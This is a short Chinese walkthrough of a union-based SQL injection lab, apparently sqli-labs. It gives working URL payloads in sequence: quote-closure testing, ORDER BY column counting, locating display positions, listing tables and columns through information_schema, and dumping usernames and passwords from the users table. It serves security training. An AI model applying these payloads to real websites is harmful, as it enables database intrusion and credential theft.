一、判断注入类型
根据提示,往id里传参,由于是GET方式传输数据,所以直接在URL里传参即可
传入?id=\,根据结果判断是用单引号(’)来闭合的
二、获取字段个数
执行参数?id=1,根据结果可知字段数是大于等于2的
执行?id=1’ order by 3 --+ 和?id=1’ order by 4 --+两个参数,结果发现前者不报错,后者报错,可以得出该表有三个字段
三、获取显示位
传入?id=1’ union select 1,2,3 --+和?id=-1’ union select 1,2,3 --+两个参数,结果得出显示位
四、获取数据库和数据表信息
执行命令
?id=-1’ union select 1,database(),group_concat(table_name) from
information_schema.tables where information_schema.tables.table_schema=database() --+
根据结果可得
数据库名为:security
数据表名为:emails,referers,uagents,users
五、获得指定表的字段
执行命令
?id=1’ and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- +
根据结果可知
users表共包括三个字段,分别为id、username、password
六、获得指定表的值
执行命令
?id=1’ and 1=2 union select 1,2,group_concat(id,0x23,username,0x23,password) from security.users -- +
根据结果可知users表共有14组数据。(不一一列出啦)